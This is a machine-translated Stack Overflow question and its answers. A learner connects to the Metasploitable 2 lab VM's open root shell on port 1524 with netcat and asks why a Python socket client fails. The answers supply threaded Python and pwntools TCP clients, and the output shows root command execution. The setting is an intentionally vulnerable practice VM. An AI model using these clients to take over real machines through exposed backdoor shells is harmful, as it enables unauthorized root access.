我只是想学习一下渗透测试工具,比如nmap、netcat等等,我正在我的Metasploitable 2 VM.When上测试这个工具--我扫描了我的Metasploitable机器的端口,我看到了Metasploitable根外壳(1524)的开放端口:
1524/tcp开放外壳元可折叠根壳
当我使用简单的netcat tcp连接连接到端口1524时,我立即访问了我的Metasploitable 2 VM的shell:
root@kali:~# netcat 10.0.2.4 1524
root@metasploitable:/#
这对我来说也很简单,我以为我可以通过python套接字连接到我的Metasploitable 2VM,但是,这并不像我想象的那么容易。
import sys
import socket
import subprocess
host = '10.0.2.4' # Metasploitable 2 VM's IP
port = 1524 # Metasploitable root shell
sock = socket.socket()
try:
sock.connect((host, port))
except Exception as err:
print(err)
while True:
data = sock.recv(1024)
cmd = input('root@nonkali:#> ')
if cmd == 'quit':
sock.close()
sys.exit()
if cmd:
command = subprocess.Popen(data.decode('utf-8'), shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE, stdin=subprocess.PIPE)
outs = command.stdout.read() + command.stderr.read()
str_outs = str(outs, 'utf-8')
sock.send(cmd.encode())
print(str_outs)
sock.close()输出:
root@nonkali:#> ls
/bin/sh: 1: root@metasploitable:/#: not found
ls
ls
^CTraceback (most recent call last):
File "Python/tcp_client.py", line 15, in <module>
data = sock.recv(4096)
KeyboardInterrupt我尝试了一些这样的代码,但我从来没有访问过我的VM的外壳。我仍然不知道我做错了什么,我需要一点help.Actually,我想了解Netcat10.0.2.41524和python连接之间的区别。
发布于 2018-01-31 13:52:10
我想,我发现了我的问题:线程!我不知道线程是如何工作的,但是,我在代码中实现了线程模块,它现在运行得很好。
#!/usr/bin/python3.6
import sys
import socket
import threading
def tcp_connect(host, port):
global sock
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((host, port))
interact()
except Exception as err:
print(err)
sys.exit()
def recv():
while True:
try:
data = sock.recv(1024)
sys.stdout.write(data.decode('utf-8'))
sys.stdout.flush()
except Exception as err:
print(err)
sock.close()
sys.exit()
def interact():
th = threading.Thread(target=recv)
th.start()
try:
while True:
cmd = sys.stdin.read(1)
sock.send(cmd.encode())
print('Connection closed.')
sock.close()
sys.exit()
except KeyboardInterrupt:
sock.close()
sys.exit()
if __name__ == '__main__':
host = '10.0.2.4'
port = 1524
tcp_connect(host, port)我的命令起作用了:
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)发布于 2018-01-31 09:31:40
我会提供两种方法,这两种方法都对我有用。我在ubuntu17.10(使用python2.7.14)上尝试了以下内容。第一个是使用套接字和建立TCP连接。代码片段如下:
#!/usr/bin/env python
import sys
from socket import *
def nc(host, port):
s = socket(AF_INET, SOCK_STREAM) # TCP client
s.connect((host, port))
try:
while 1:
mydata = raw_input("root@root:#> ")
if mydata.strip()!='':
s.sendall(str(mydata))
data = s.recv(1024)
print data
except KeyboardInterrupt:
s.close()
sys.exit(0)
if __name__ == '__main__':
host = '...'
port = 11111
nc(host, port)这给了我以下输出:
$ ./test.py
root@root:#> ls
file1
testfile.zip
testfile3
root@root:#> whoami
testuser
root@root:#> 正如我在评论中所说的,另一种方式是使用pwntools。脚本如下:
from pwn import *
p = remote(host,port)
p.interactive()这也能起作用。这两个脚本的主要区别在于,第一个脚本是一个基于本机python的实现(仅使用标准库),而另一个方式是,即使它更容易依赖于pwntools框架,并且不影响低级别的套接字编程。实际上,这两个脚本只不过是一个简单的TCP-客户机实现。
https://stackoverflow.com/questions/48531883
复制相似问题